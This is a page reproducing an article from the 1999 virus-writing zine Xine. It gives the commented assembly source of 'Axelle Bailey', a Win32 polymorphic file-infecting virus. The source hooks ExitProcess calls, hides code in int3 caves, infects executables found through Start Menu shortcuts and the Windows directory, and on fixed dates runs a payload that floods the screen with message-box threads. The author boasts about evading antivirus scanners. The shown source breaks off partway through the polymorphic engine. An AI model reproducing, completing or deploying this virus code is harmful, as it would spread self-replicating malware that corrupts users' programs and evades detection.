Copy Link
Add to Bookmark
Report
Xine - issue #4 - Phile 202
/-----------------------------\
| Xine - issue #4 - Phile 202 |
\-----------------------------/
;
; AxelleBailey (c) IKX MegaWare 1999
;
; A Win32 PE Body-Polymorphic Mid-Infector using ExitPoint Tech...
;
;
; About the Axelle Bailey Virus
;
; - As you can saw, avers have many problems with Midinfector, in fact,
; they can't perform a 100% sure disinfection of them. Despite of that, they
; can't clean infected programs. Now we see that they can't detect polymorphics
; midinfectors virus. So, I can't imagine how they will take that virus...
;
; - When a Portable Exe is opened, it look the last section, if it's
; equal .reloc, then it overwrite it, else it add the virus size + 500 and
; rebuild sections, header and all the staff...
;
; - This virus doesn't infect in a common way, in fact, he look first for
; cave, like a series of int 3 in the code segment, it happend often now,
; both of Microsoft and Borland software that are **Often** distributed.
;
; - After it, the virus scan the import after ExitProcess or Exit. When
; found, it calculate where the adress will be in memory. After it scan for
; call dword ptr [x] or jump dword ptr [x]. If a call is found, it save the
; Adress of a call, if a jump dword ptr [x], then it rescan the code section
; for getting call to it
;
; - If nothing found, then it scan near the entrypoint for call or jumps
; if found, then they are hooked...
;
; - When found, it generate a poly in memory, the poly will be droped in
; cave followed by jumps, so, I will be happy to see the emulation of this
; virus. I tested with NODice32 that is so powerfull hi Lethal ;). Nothing
; found. If there's no more cave, then it drop the poly after the code, it's
; why I put 500 of more size.
;
; - Above all, this virus isn't really finished, but it's his first
; version, it have fixed most compatibility problems, but PE infectors are
; often unstable or sometime don't get control or such thing, you know the
; fuck...
;
; About Axelle Bailey:
;
; mmm, Nothing to say...
;
; Caracteristics:
;
; * On 9 Octobre it launch paylaod
; Creating 2 times more Messagebox on closing 1
; * On Friday 13, it display Greets screen (MessageBox)
; * Have debug feature if c:\debug.txt present
; Ask you if you want to infect PE
; * Find PE via a new way, using explorer's registry
; - EXEs in the Start Menu will be infected
; - .lnk file analysis
; * Alternate sometime and infect the Windows Directory
; * Infect only 10 files per run
; * Use of Memory Maped Files...
; * Get API via the Upcase (ie:CFA for CreateFileA)
; * Append virus to last section
; * if last section name=.reloc then overwrite it
; * Invisible mark in the PE header (No fixed string)
; * Look for Int 3/NOP cave in the code
; * If found drop poly over caves, else after the body
; * Able to put part in code and part near virus body
; * Drop a 32 bit poly with variable regs
; * Poly assume rol/inc/dec/neg/not/add/sub/xor
; * Look and hook for Call ExitProcess on code section
; (the standard method)
; * Look and hook for Call MSVCRT!exit on code section
; (the win98 way of Exiting program)
; * Look/recursive trace/hook ExitProcess call-to-jump-to
; (specially for Borland compiled software)
; * Look and hook for calls/jumps near the entrypoint
; (for strange programs...)
; * The virus can return to host(or api) via different
; way , like Alicia
.386
locals
.model flat
extrn ExitProcess:Proc
extrn ReadFile:Proc
.data
dummy dd ?
.code
HOST: jmp start0
HOST2: push 0
call ExitProcess
virus_seg segment para public 'virus'
assume cs:virus_seg
Start0:
start0:
Start:
start:
pushad
Odelta: call Delta0
Delta0: pop ebp
sub ebp,offset Odelta+5 ; get delta
push dword ptr [Ebp+ReturnWay] ; save return information
push dword ptr [ebp+ReturnData] ; may be overwritten
lea eax,[ebp+startlist] ; get all Kernel32 apis
mov dword ptr [ebp+TargetCRC],eax ; and put then there
lea eax,[ebp+crc_list]
call GetProcI ; get kernel32 and inits apis
lea eax,[ebp+dllname]
call LoadLibrary ; load library
push eax
mov edx,eax
lea eax,[ebp+advapilist] ;
mov dword ptr [ebp+TargetCRC],eax ; put it there
lea eax,[ebp+advapi] ; name of apis
call GetProcB ; get all apis needed
; in advapi32.dll
pop eax
call checkforunload ; check if we have to unload
; from the memory advapi32
lea eax,[ebp+dllname2]
call LoadLibrary ; lload User32
push eax
mov edx,eax
lea eax,[ebp+userapilist]
mov dword ptr [ebp+TargetCRC],eax ; save it there
lea eax,[ebp+userapi] ; get the Messageboxa
call GetProcB ; get it!
pop eax
call checkforunload ;
jmp FindFirst00
dllname: db 'ADVAPI32.DLL',0
dllname2: db 'USER32.DLL',0
LoadLibrary:
mov byte ptr [ebp+unloadflag],0 ; reset unload flag
push eax
push eax
call dword ptr [ebp+GetModuleHandle] ; check if the process have it
; in his memory
pop edx
cmp eax,0
jne thenwehavedll ; if no
push edx
call dword ptr [ebp+LoadLibraryA] ; then load it but we will
mov byte ptr [ebp+unloadflag],1 ; have to unload it
thenwehavedll:
ret
checkforunload:
cmp byte ptr [ebp+unloadflag],1 ; check if we have to unload it
jne thenskipunload
push eax
call dword ptr [ebp+FreeLibrary] ; do it!
thenskipunload:
ret
unloadflag: db 0
crc_list:
ApiList:
db 'FFFA',0 ; FindFirstFileA
db 'FNFA',0 ; FindNextFileA
db 'CFA',0 ; CreateFileA
db 'CH',0 ; CloseHandle
db 'WF',0 ; WriteFileA
db 'RF',0 ; ReadFileA
db 'SFP',0 ; SetFilePointer
db 'SFT',0 ; SetFileTime
db 'GFS',0 ; GetFileSize
db 'CFMA',0 ; CreateFileMapping
db 'MVOF',0 ; MapViewOfFile
db 'UVOF',0 ; UnMapViewOfFile
db 'VA',0 ; VirtualAlloc
db 'VF',0 ; VirtualFree
db 'LLA',0 ; LoadLibraryA
db 'FC',0 ; FindClose
db 'FL',0 ; FreeLibrary
db 'GST',0 ; GetSystemTime
db 'CT',0 ; CreateThread
db 'GWDA',0 ; GetWindowsDirectoryA
db 'GCDA',0 ; GetCurrentDirectoryA
db 'SCDA',0 ; SetCurrentDirectoryA
db 'GMHA',0 ; GetModuleHandleA
db 'EP',0
advapi:
db 'ROKA',0 ; RegOpenKeyA
db 'RQVEA',0 ; RegQueryValueExA
db 'RCK',0 ; RegCloseKey
userapi:
db 'MBA',0 ; MessageBoxA
db -1 ; Finish! :)))
Greets: db 'The Axelle Bailey/iKx/ Virus - OreZRatS [Ikx] (C) 1999',10,13,10,13
db 'Greets to: Reptile and SSR for the ideas',10,13
db ' Bozo for the motivations',10,13
db ' In honor of Axelle Bailey and',10,13,10,13
db 'Dedicated to Federrico ;)',0
debugtxt: db 'c:\debug.txt',0 ; debug file name
debugopt: db 0
payload0: ; this is for 1st run
xor ebp,ebp
call payloadA ; display the MessageBox
push 0
call dword ptr [ebp+ExitProc] ; finish the program
payloadA:
push 0
lea eax,[ebp+Caption] ; something, no importence in
push eax ; fact...
lea eax,[ebp+Greets] ; greets
push eax
push 0
call dword ptr [ebp+MessageBoxA] ; display the greets
ret
FindFirst00:
lea eax,dword ptr [ebp+File_Data]
push eax
call dword ptr [ebp+GetSystemTime] ; get date , time , etc etc...
cmp word ptr [ebp+File_Data+4],5 ; check for friday
jne timenext
cmp word ptr [ebp+File_Data+6],13 ; 13 of the month
jne timenext
call payloadA ; if so then display the greets
timenext:
cmp word ptr [ebp+File_Data+2],10 ; if 9 octobre then
jne timenext2
cmp word ptr [ebp+File_Data+6],9 ; launch payload
jne timenext2 ; an annoying one :]
mov dword ptr [ebp+omnione],0 ; reset all constants
mov dword ptr [ebp+Active],1
mov dword ptr [ebp+Theorical],1
payload1:
call getdelpay ; get delta coz we will be in
getdelpay: pop ebp ; a new thread and value will
sub ebp,offset getdelpay ; change...
inc dword ptr [ebp+omnione]
push 0
lea eax,[ebp+annoyingcode]
push eax
lea eax,[ebp+annoyinglabel]
push eax
push 0
call dword ptr [ebp+MessageBoxA] ; display the annoying box
dec dword ptr [ebp+Active] ; here we decrement if the ok
mov eax,dword ptr [ebp+Theorical] ; button was pushed
add dword ptr [ebp+Theorical],eax ; make two time more messagebox
;inc dword ptr [ebp+Theorical]
thencreatone:
lea eax,[ebp+identifier]
push eax
push 0
push 0
lea eax,[ebp+payload1]
push eax
push 0
push 0
call dword ptr [ebp+CreateThread] ; create the new thread
inc dword ptr [ebp+Active]
mov eax,dword ptr [ebp+Theorical]
cmp dword ptr [ebp+Active],eax
jne thencreatone ; and then do it
jmp payload1
annoyingcode: db 'A kiss to!',0
annoyinglabel: db 'A kiss to Axelle Bailey !',0 ; a kiss to this
identifier: dd 79797979h ; incredible wome
omnione: dd 0
Active: dd 1
Theorical: dd 1
timenext2:
mov byte ptr [ebp+debugopt],0 ; reset debug option
; flag
lea eax,[ebp+debugtxt]
call Open_File_F ; try to open that file
jz thennodebug
mov byte ptr [ebp+debugopt],1 ; if yah then set debug
thennodebug:
mov al,byte ptr [ebp+File_Data+12] ;check is sec=min(and)8
and al,8
and byte ptr [ebp+File_Data+14],8
cmp byte ptr [ebp+File_Data+14],al
jne timenext3 ; if so then infect
; windows dir
mov eax,2048
call Alloc
push eax ; just for saving the dirs etc...
push eax
push 512
call dword ptr [ebp+GetCurrentDirectoryA] ; save it
pop eax ;+4
push eax ;-4
add eax,512
push eax ;-4
push 512
push eax
call dword ptr [ebp+GetWindowsDirectoryA] ; get the windows dir.
call dword ptr [ebp+SetCurrentDirectoryA] ; set it as current
pop eax ;+4
add eax,1024
push eax ;-4
push eax
lea eax,[ebp+searchfor]
push eax
call dword ptr [ebp+FindFirstFile] ; search 1st file in it
mov dword ptr [ebp+hourhandler],eax
gotothere:
pop edx
push edx ; save this for FFNext
push edx
push dword ptr [ebp+hourhandler]
add edx,2Ch ; point to name is DTA32
call Testinfect ; infect it
call dword ptr [ebp+FindNextFile]
cmp eax,0
jne gotothere ; if not zero then loop again
pop eax
sub eax,1024
push eax
call dword ptr [ebp+SetCurrentDirectoryA] ; set the old directory
jmp Error0 ; return to host
hourhandler: dd 0
searchfor: db '*.exe',0
timenext3:
call FindFirst ; search on the start
; meny
Error0:
pop dword ptr [ebp+ReturnData] ; reget all those
pop eax ; datas
add eax,ebp
jmp eax ; jump over there...
;
; Initialise the apilist vio GetProcAddress
;
GetProcB:
push ebp
mov edi,edx
mov dword ptr [ebp+ApiNames],eax
jmp getprocC ; if not kernel32 dll
GetProcI:
push ebp
mov dword ptr [ebp+ApiNames],eax ; if 1st run with kernel
;
; Secure way to get kernel address from winNT - this coz kernel declared as
; Process...
;
GetKernelI:
mov edi,dword ptr [ebp+startscan]
mov esi,dword ptr [ebp+ImageBase] ; get import in mem
openscan:
mov eax,dword ptr [edi+12]
cmp eax,0
je ApiFinishScan
cmp dword ptr [esi+eax],'NREK' ;'KERN'
jne scannext2
cmp dword ptr [esi+eax+4],'23LE' ;'EL32'
jne scannext2
add esi,dword ptr [edi+16]
mov esi,dword ptr [esi]
foundloop1:
cmp dword ptr [esi],685421cdh ; look for 'This'
je founded
dec esi
jmp foundloop1
founded:
cmp word ptr [esi],'MZ'
je founded2
cmp word ptr [esi],'ZM' ; looko for exe start
je founded2
dec esi
jmp founded
scannext2:
add edi,20
jmp openscan
ApiFinishScan:
sub eax,-1
pop ebp
ret
startscan: dd 00405000h
ImageBase: dd 00400000h
founded2:
mov dword ptr [ebp+startscan],esi
mov edi,esi
getprocC:
mov ebx,dword ptr [edi+3Ch]
add ebx,edi ; ebx point to the PE header
; In fact it's allways PE
; I skiped the MZ and PE
; signature check coz if it's
; not, Kernel can't be loaded :]
mov esi,dword ptr [ebx+120] ; esi point to the Export
lea esi,[esi+edi] ; zone
mov ecx,dword ptr [esi+24] ; ecx = number of export
mov ebx,dword ptr [esi+32] ; ebx point to the name offset
add ebx,edi ; table
Scanstring:
mov edx,dword ptr [ebx] ; edi point to the 1st
add edx,edi ; name
loophere:
push ebx
push ecx
mov eax,dword ptr [esi+24] ; get
sub eax,ecx ; name offset
shl eax,2
lea edx,[ebx+eax]
mov edx,[edx]
add edx,edi
lea eax,[ebp+tazoffset]
mov dword ptr [ebp+nameoffset],eax
xor eax,eax
xor ecx,ecx
mov al,byte ptr [edx]
getnamecrc:
mov cl,byte ptr [edx] ; look and take
test ecx,ecx
jz test_crcs ; only upper case
cmp cl,91
ja dontputit
push esi
mov esi,dword ptr [ebp+nameoffset]
mov byte ptr [esi],cl
mov byte ptr [esi+1],0
inc byte ptr [ebp+nameoffset] ; save it to buffer
pop esi
dontputit:
inc edx
jmp getnamecrc
test_crcs:
pop ecx
push ecx
push ebp
inc edx
mov eax,dword ptr [ebp+ApiNames]
xor ebx,ebx
doomed:
cmp byte ptr [eax],-1 ; if name equal -1
je testnext ; then finish
lea edx,[ebp+tazoffset] ; check buffer with
call testname ; API list
jc itsokay21 ; if same then get
inc ebx
jmp doomed
itsokay21:
mov eax,dword ptr [esi+24]
sub eax,ecx ; get VA of API
shl eax,1
push ebx
add eax,dword ptr [esi+36] ; table RVA
add eax,edi ; Add Rva
xor ebx,ebx ; set ebx to 0
mov bx,word ptr [eax] ;
xchg eax,ebx
pop ebx
shl eax,2
add eax,dword ptr [esi+28]
add eax,edi
mov eax,dword ptr [eax] ; calculations
add eax,edi
dec ebx
pop ebp
mov ecx,dword ptr [ebp+TargetCRC]
lea ecx,[4*ebx+ecx]
mov dword ptr [ecx+4],eax ; put it over the table
push ebp
testnext:
pop ebp
pop ecx
pop ebx
loop loophere2
pop ebp
ret
loophere2: jmp loophere
testname:
checkifcorrectname:
push esi
push edi
mov esi,eax ; this just test if eax$ = edx$
mov edi,edx
dec edi
dec esi
thatflag0:
inc esi
inc edi
cmp byte ptr [esi],0
je thenbybye0
push eax
mov al,byte ptr [esi]
cmp byte ptr [edi],al
pop eax
jne thenboombybye
jmp thatflag0
thenbybye0:
cmp byte ptr [edi],0
jne thenboombybye
inc esi
inc esi
mov eax,esi
add eax,-1
pop edi
pop esi
ret
thenboombybye:
cmp byte ptr [esi],0
je thenboomby0
inc esi
jmp thenboombybye
thenboomby0:
inc esi
mov eax,esi
xor edi,edi
pop edi
pop esi
ret
ApiNames: dd 0
TargetCRC: dd 0
nameoffset: dd offset tazoffset
tazoffset: db 20 dup (0)
FindFirst:
mov byte ptr [ebp+Infectioncounter],0
mov eax,25000
call Alloc ; alloc a lot for recursive scan
cmp eax,0 ; and directory tree
jc dontdothat
mov dword ptr [ebp+pseudomem2],eax
push eax
push eax
push eax
push eax
lea eax,[ebp+RegName] ; what we need
push eax
push 80000001h
call dword ptr [ebp+RegOpenKeyA] ; open the key
; return the handle
pop ebx
mov eax,ebx
add eax,4 ; save handle
mov dword ptr [eax],4096-8 ; fix where we need in memory
push eax
add eax,8
push eax
sub eax,4
push eax
push 0
lea ecx,[ebp+SubRegName] ; get the needed subkey
push ecx
push dword ptr [ebx] ; push the hanlde
call dword ptr [ebp+RegQueryValueExA]
pop eax
push dword ptr [eax]
call dword ptr [ebp+RegCloseKey] ; and close the registry
pop eax
add eax,12
loopit:
mov dword ptr [ebp+ShellDesktop],eax ; init the directory got
add eax,512
mov dword ptr [ebp+Findit],eax ; set that we want DTA32 on
sub eax,512 ; 512 byte later than previous
theninceax1st:
inc eax
cmp byte ptr [eax],0 ; get last caracter
jne theninceax1st
cmp byte ptr [eax-1],'\' ;look if fixing it as directory
je thendontfixdir
fixdir:
mov byte ptr [eax],'\' ; then do it
inc eax
thendontfixdir:
mov dword ptr [ebp+FindZero],eax ; Find Zero...
mov edi,eax
lea esi,[ebp+fixzone]
mov ecx,4
repz movsb
thenjumpup:
push dword ptr [ebp+Findit] ; get *.*
push dword ptr [ebp+ShellDesktop]
call dword ptr [ebp+FindFirstFile] ; find in fact .lnk and dirs
mov edx,eax
testinext:
mov eax,dword ptr [ebp+Findit]
cmp byte ptr [eax+2ch],'.' ; if . or .. found
je skiprecursive
lea esi,[eax+2ch] ; point to names
call infectINF ; analysing inf files
mov eax,dword ptr [eax]
cmp eax,10h
jne skiprecursive ;if not a dir then dont go
; deeper
push edx ; save infos for FFNext
push dword ptr [ebp+FindZero]
cmp byte ptr [ebp+arboricol],7 ; scan only 6 directory deeply
je thengoup
mov eax,dword ptr [ebp+Findit]
add eax,1024
mov dword ptr [ebp+Findit],eax ; set where we want much datas
mov edi,dword ptr [ebp+FindZero]
thenincit:
mov al,byte ptr [esi]
mov byte ptr [edi],al
inc esi
inc edi
cmp al,0
jne thenincit ; add the dir to the current
; directory buffer
dec edi ; ie: c:\win\start\apps\ +
; draw\ see ?
mov eax,edi
call fixdir ; recursive scan
mov eax,dword ptr [ebp+Findit]
sub eax,1024
mov dword ptr [ebp+Findit],eax ; restore DTA32
thengoup:
pop dword ptr [ebp+FindZero]
pop edx ; restore for ffnext
skiprecursive:
push edx
push dword ptr [ebp+Findit]
push edx
call dword ptr [ebp+FindNextFile] ; do findnext
pop edx
cmp eax,0
jne testinext
dontdothat:
push 4000h
push 2000
push dword ptr [ebp+pseudomem2]
call dword ptr [ebp+GlobalFree] ; delocate memory...
ret ; when finish then return
infectINF:
push edx
push eax
push esi ; save for the boucle of
; dir scan
thatoom:
inc esi
cmp byte ptr [esi],0
je thatam
cmp byte ptr [esi],'.' ; look for .LNK or .lnk files
jne thatoom
cmp dword ptr [esi+1],'KNL'
je thatamok
cmp dword ptr [esi+1],'knl'
jne thatam
thatamok:
pop esi
push esi
mov edi,dword ptr [ebp+FindZero]
mov byte ptr [edi],'\' ; set it as dir
thenincitbis:
mov al,byte ptr [esi]
mov byte ptr [edi],al
inc esi
inc edi
cmp al,0
jne thenincitbis ; copy file name
mov eax,dword ptr [ebp+ShellDesktop]
call Open_File_F ; open it
jz thatam ; problem ? skip !
mov eax,2000
call Alloc ; allocate memory
mov dword ptr [ebp+pseudomem],eax
push eax
mov ecx,2000
mov edx,eax
call Read_file ; Read 2000 bytes
push 0
push dword ptr [ebp+CurrentHandle]
call dword ptr [ebp+GetFileSize] ; but scan only file length...
mov ecx,eax
pop ebx
push ebx
push ecx
add eax,ebx
decitdecit:
thatgooz:
dec eax
cmp word ptr [eax],'\:' ; get the directory environment
je dectetdir ; when found, just keep disk
loop decitdecit ; variable
pop eax
pop ecx
jmp finishscan
driveletter: dw 0
dectetdir:
dec eax
mov bx,word ptr [eax] ; detect it
pop ecx
pop eax
add eax,ecx
thenscannext2:
dec eax
cmp dword ptr [eax],'exe' ; look for exe,0 or EXE,0 in
je thenlookthisone ; the lnk file
cmp dword ptr [eax],'EXE'
je thenlookthisone ; found the scan this file
loop thenscannext2 ; no found?
jmp finishscan
thenlookthisone:
dec eax
cmp word ptr [eax],'\:' ; check what kind of
je thenlookthistwo ; directory windows build
cmp word ptr [eax],'\.' ; in the lnk file
je thenlookthistwo ; 3 possibility: nothing
cmp byte ptr [eax],0 ; the ..\
je thenlookthistwo2 ; or the C:\
loop thenlookthisone
jmp finishscan
thenlookthistwo2:
mov byte ptr [eax],'\' ; if nothing then add $:\
dec eax
thenlookthistwo:
dec eax ; add $:
mov word ptr [eax],bx
mov edx,eax
call Testinfect ; test infection but infection
; will not work with prebuilded
; lnk on windows installing
finishscan: ; :[
push 4000h
push 2000
push dword ptr [ebp+pseudomem]
call dword ptr [ebp+GlobalFree] ; delocate memory...
call Close_file
thatam:
pop esi
pop eax
pop edx
ret
Testinfect:
push dword ptr [ebp+CurrentHandle] ; save handle of the .lnk file
push edx
cmp byte ptr [ebp+Infectioncounter],10 ; check if we have infected 10
je thendontinfect
cmp byte ptr [ebp+debugopt],1 ; look for debug option
jne thendontdo
push 1
lea eax,[ebp+Caption]
push eax
push edx
push 0
call dword ptr [ebp+MessageBoxA] ; messageboxit with filename
cmp eax,2 ; if Cancel
je thendontinfect ; then don't infect
thendontdo:
pop edx
push edx
push edx
call FindFirstFileF ; get infos over the file
pop edx
cmp byte ptr [ebp+File_Data+4+4],01110111b
je Finished ; look for time/date stamp
mov eax,edx
call Open_File_F
jz Finished
call infection ; test and infect it
cmp dword ptr [ebp+File_Data+4],0
jne thendontfixthat ; see if valid time_stamp32
mov eax,dword ptr [ebp+File_Data+4+8] ; no then make it
mov dword ptr [ebp+File_Data+4],eax
mov eax,dword ptr [ebp+File_Data+4+8+4]
mov dword ptr [ebp+File_Data+4+4],eax
thendontfixthat:
mov byte ptr [ebp+File_Data+4+4],01110111b ; set time stamp
lea eax,[ebp+File_Data+4+8+8]
push eax
sub eax,8 ; from patched DTA32
push eax
sub eax,8
push eax
push dword ptr [ebp+CurrentHandle]
call dword ptr [ebp+SetFileTime] ; set the new timestamp
Finished:
call Close_file
thendontinfect:
pop edx
pop dword ptr [ebp+CurrentHandle] ; reput the handle
ret
Caption: db 'VirusInfo - Ready for infection',0
; variables...
Infectioncounter: db 0
arboricol: db 0
fixzone: db '*.*',0
RegName: db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
SubRegName: db 'Start Menu',0
pseudomem: dd 0
pseudomem2: dd 0
ShellDesktop: dd 0
Findit: dd 0
FindZero: dd 0
;
; Overwriters! OVERWRITING IS ThE SOLUTiON
; Yeah! OVERWRITIIIIIIIIIIIING!!!!
;
handlesize1 equ 4096
handlesize2 equ 256+Fin-Start+500+40
infection:
call mapit
mov esi,eax ; map the file in memory
;cmp eax,1000h
;jb thenproblem
mov dword ptr [ebp+memory1],0
cmp word ptr [eax],'ZM' ; check if exe
jne thenproblem
cmp byte ptr [eax+24],'@' ; check if windows
jne thenproblem
mov ebx,dword ptr [eax+03Ch]
add ebx,eax
mov dword ptr [ebp+PEBase],ebx ; save memory location of PE header
cmp word ptr [ebx],'EP' ; check if PE
jne thenproblem
mov al,byte ptr [ebx+88] ; check if
add al,byte ptr [ebx+89] ; file already infected
cmp al,'S'
je thenproblem
sub al,byte ptr [ebx+89]
mov ah,'S'
sub ah,al
mov byte ptr [ebx+89],ah ; the stamp is variable coz depend from
; ebx+88
mov eax,dword ptr [ebx+52]
mov dword ptr [ebp+ImageBase],eax ; save Imagebase
add eax,dword ptr [ebx+128]
mov dword ptr [ebp+startscan],eax ; save where to scanning import
sub eax,dword ptr [ebx+128]
lea edx,[ebx+0F8h]
mov dword ptr [ebp+SectionOffset],edx ; and section offset
call Betadropvirus ; look if we can drop a virus image
cmp eax,-1 ; if so, rebuild header
je thenproblem ; if not
call cavescanner ; scan caves
call thahook ; hook midinfection
call CreateProPoly ; and drop poly
jc thenproblem
; now connect virus entry point and poly entrypoint
mov edx,dword ptr [ebp+Fixupentry]
mov eax,edx
call Offset2Address
mov ebx,eax
mov eax,dword ptr [ebp+NEWEntryPoint] ; then we drop
sub eax,ebx ; that value after
sub eax,4 ; this to have the call
mov dword ptr [edx],eax ; polyentrypoint
inc byte ptr [ebp+Infectioncounter]
Unload:
call UnloadMemory ; unload memory
thenproblem:
call unmapit ; un map the file
ret
UnloadMemory:
cmp byte ptr [ebp+memory1],1 ; check if cavemem were loaded
jne dontunloadmemory1
push 4000h
push handlesize1
push dword ptr [ebp+memhandle1]
call dword ptr [ebp+GlobalFree] ; unload the Cave memory
dontunloadmemory1:
cmp byte ptr [ebp+memory2],1 ; check if polymem were loaded
jne dontunloadmemory2
push 4000h
push handlesize2
push dword ptr [ebp+memhandle2]
call dword ptr [ebp+GlobalFree] ; unload polymem
dontunloadmemory2:
ret
; variables...
memhandle1: dd 0
memhandle2: dd 0
memory1: db 0
memory2: db 0
DropAddress: dd 0
DropOffset: dd 0
InfectorAddress: dd 0
InfectorPoly: dd 0
PEBase: dd 0
SectionOffset: dd 0
LastSection:
LastSectionOffset: dd 0
Betadropvirus:
mov edi,dword ptr [ebp+PEBase] ; get PE header
mov edx,dword ptr [ebp+SectionOffset] ; and section header
mov dword ptr [ebp+DropAddress],eax ; mov DropAddress ?
; don't remember the use of that
xor ecx,ecx
mov cx,word ptr [edi+6] ; get number of section
mov eax,edx ; eax point to section
fixtozero:
mov dword ptr [eax+24],0
mov dword ptr [eax+28],0
mov dword ptr [eax+32],0
add eax,40
loop fixtozero ; nullify reloc on each
; section
sub eax,40 ; we are N(section)-1
mov edx,eax
cmp dword ptr [eax],'ler.' ; if reloc ?
je thenoverwritelast
thenappendlast: ; yeah overwrite it
mov eax,dword ptr [edx+12]
add eax,dword ptr [edx+16]
mov dword ptr [ebp+DropAddress],eax ; set DropAddress
mov eax,dword ptr [edx+20]
add eax,dword ptr [edx+16]
mov dword ptr [ebp+DropOffset],eax ; set DropOffset
thengotolast:
push edx
mov ebx,edx
xor edx,edx
mov eax,dword ptr [ebx+16] ; fixup the physical
add eax,fin-start+500 ; size of last section
mov ecx,dword ptr [edi+60]
div ecx
inc eax
mul ecx
mov dword ptr [ebx+16],eax
xor edx,edx
mov eax,dword ptr [ebx+8] ; fixup the virtual
add eax,fin-start+500 ; size of last section
mov ecx,dword ptr [edi+56]
div ecx
inc eax
mul ecx
mov dword ptr [ebx+8],eax
xor edx,edx
mov eax,dword ptr [ebx+12] ; set new image size
add eax,dword ptr [ebx+8]
add eax,1000h
;add eax,fin-start+500
div ecx
inc eax
mul ecx
mov dword ptr [edi+80],eax
pop edx
mov dword ptr [edx+36],0c0000040h ; set as writable this
; section
mov dword ptr [edi+160],0
mov dword ptr [edi+164],0
ret
thenoverwritelast: ; so we don't overwrite
;
mov eax,dword ptr [edi+160]
cmp eax,dword ptr [edx+12]
jne thenappendlast
mov dword ptr [ebp+DropAddress],eax
call Address2Offset
sub eax,esi
mov dword ptr [ebp+DropOffset],eax ; fix drop offset = section offset
jmp thengotolast
Offset2RVA:
push edx
call Offset2Address ; call this one
mov edx,dword ptr [ebp+PEBase] ; add PEbase
add eax,dword ptr [edx+52]
pop edx
ret
Offset2Address: ; convert an offset to
; an adress of pe
push ebx
push ecx
push edx
mov edx,dword ptr [ebp+SectionOffset] ; scan over sections
thendetectnext:
push edx
mov ecx,dword ptr [edx+20] ; get where it start
add ecx,esi
mov edx,dword ptr [edx+16] ; where it finish
add edx,ecx
dec edx
cmp eax,edx
ja testnext01 ; scan if we are in
cmp eax,ecx
jb testnext01 ; if not loop again
pop edx
sub eax,esi
sub eax,dword ptr [edx+20]
add eax,dword ptr [edx+12] ; set the memory offset
pop edx
pop ecx
pop ebx
ret
testnext01:
pop edx ;look
add edx,40
cmp byte ptr [edx],0 ;next
jne thendetectnext ;section, if zero then don't...
pop edx
pop ecx
pop ebx
ret
Address2Offset:
push edx ebx ecx
mov edx,dword ptr [ebp+SectionOffset] ; conver Address2Offset
sub edx,40
loopithere:
add edx,40
cmp byte ptr [edx],0
je thenitsnotcorrect
mov ecx,dword ptr [edx+12] ; load memory start of section
mov ebx,ecx
add ebx,dword ptr [edx+8] ; load memory end of section
dec ebx
cmp eax,ebx
ja loopithere ; if eax > Virtual Address
cmp eax,ecx ; if eax < RVA then not correct
jb loopithere
loopithere0:
mov ebx,dword ptr [edx+20] ; add offset
sub eax,ecx
cmp eax,dword ptr [edx+16] ; check if we are in ?
ja thenitsnotcorrect
add ebx,eax
mov eax,ebx
add eax,esi ; add handle value
pop ecx ebx edx
ret
thenitsnotcorrect:
pop ecx ebx edx
ret
mapit:
push 0
push dword ptr [ebp+CurrentHandle] ; look apis reference
call dword ptr [ebp+GetFileSize]
add eax,fin-start0+500 ; allways open with size+500
mov edi,eax
mapasRead:
push edi
push 0
push edi
push 0
push 4
push 0
push dword ptr [ebp+CurrentHandle]
call dword ptr [ebp+CreateFileMap] ; mapit
mov dword ptr [ebp+MapHandle1],eax
mapasRead2:
push 0
push 0
push 6
push dword ptr [ebp+MapHandle1]
call dword ptr [ebp+ViewMap] ; load mapit
mov dword ptr [ebp+MapHandle2],eax
ret
unmapit:
push dword ptr [ebp+MapHandle2]
call dword ptr [ebp+UnMap] ; close maps
push dword ptr [ebp+MapHandle1]
call dword ptr [ebp+Close] ; close maps
ret
Alloc:
push 040h
push 00100000h or 1000h or 2000h
add eax,111b
and eax,-4
push eax
push 0
call dword ptr [ebp+LocalAlloc] ; allocate memory..
ret
cavescanner:
mov dword ptr [ebp+cavenumber],0
mov eax,handlesize1
call Alloc ; alloc memory for this routine
cmp eax,0
jne saveitthat
xor eax,eax
inc eax
inc eax
add eax,-1 ; if can't then return with
ret ; carry
saveitthat:
mov byte ptr [ebp+memory1],1
mov dword ptr [ebp+memhandle1],eax ; save it for unload memory
mov dword ptr [ebp+caveoffset],eax ; save it for datas storing
mov edx,dword ptr [ebp+SectionOffset] ; look for .code or .text
mov eax,dword ptr [edx+36]
and eax,80000000h
cmp eax,80000000h ; if code writable
je disablecave ; then danger! -> compressors
; viruses...
mov eax,dword ptr [edx+20]
add eax,esi ;1st section is most case code
;section
mov ebx,eax
add ebx,dword ptr [edx+16] ; add the size
thenscanagain:
cmp dword ptr [eax],0CCCCCCCCh
je detectint3cave
;cmp dword ptr [eax],090909090h ; this one could be activated
;je detectnopcave ; but for security , I didn't
inc eax
doomingo77:
cmp eax,ebx
jb thenscanagain
ret
;detectzerocave: deactivated
;push ebx
;mov bl,0
;jmp deteccomhere
;detectnopcave:
;
;push ebx
;mov bl,090h
;jmp deteccomhere
detectint3cave: ; scan the CCh cave
push ebx
mov bl,0CCh
deteccomhere:
push ecx
push edx
push eax
thendoit:
xor ecx,ecx
looping0:
cmp byte ptr [eax],bl ; count number of CCh
jne unplusun ; there's (minimum 4)
inc eax
inc ecx
jmp looping0
unplusun:
mov edx,eax
pop eax
push edx
cmp byte ptr [eax-1],0C3h ; look if there's ret
je thendoit00
cmp byte ptr [eax-3],0C2h ; or retf2 before
jne nocave
thendoit00:
pop edx
push edx
sub edx,eax
cmp byte ptr [ebp+cavenumber],0FFh ; check if we found max
je overfound ; imagine on 4 megs programs...
inc byte ptr [ebp+cavenumber] ; increment it
mov ecx,dword ptr [ebp+caveoffset] ;
mov dword ptr [ecx],edx
mov dword ptr [ecx+4],eax
call Offset2Address
mov dword ptr [ecx+4+4],eax
add ecx,12
mov dword ptr [ebp+caveoffset],ecx ; save offset
mov eax,edx
overfound:
nocave:
pop eax ; restore it
pop edx
pop ecx
pop ebx
jmp doomingo77
disablecave:
mov byte ptr [ebp+cavedanger],1 ;
ret
; variables
cavenumber: db 0
cavedanger: db 0
caveoffset: dd 0
CreateProPoly:
mov word ptr [ebp+Registers],-1
mov eax,handlesize2
call Alloc ; alloc memory
cmp eax,0
jne thenthatat
inc eax
inc eax
add eax,-1
ret
thenthatat:
mov byte ptr [ebp+memory2],1
mov dword ptr [ebp+memhandle2],eax ; save it
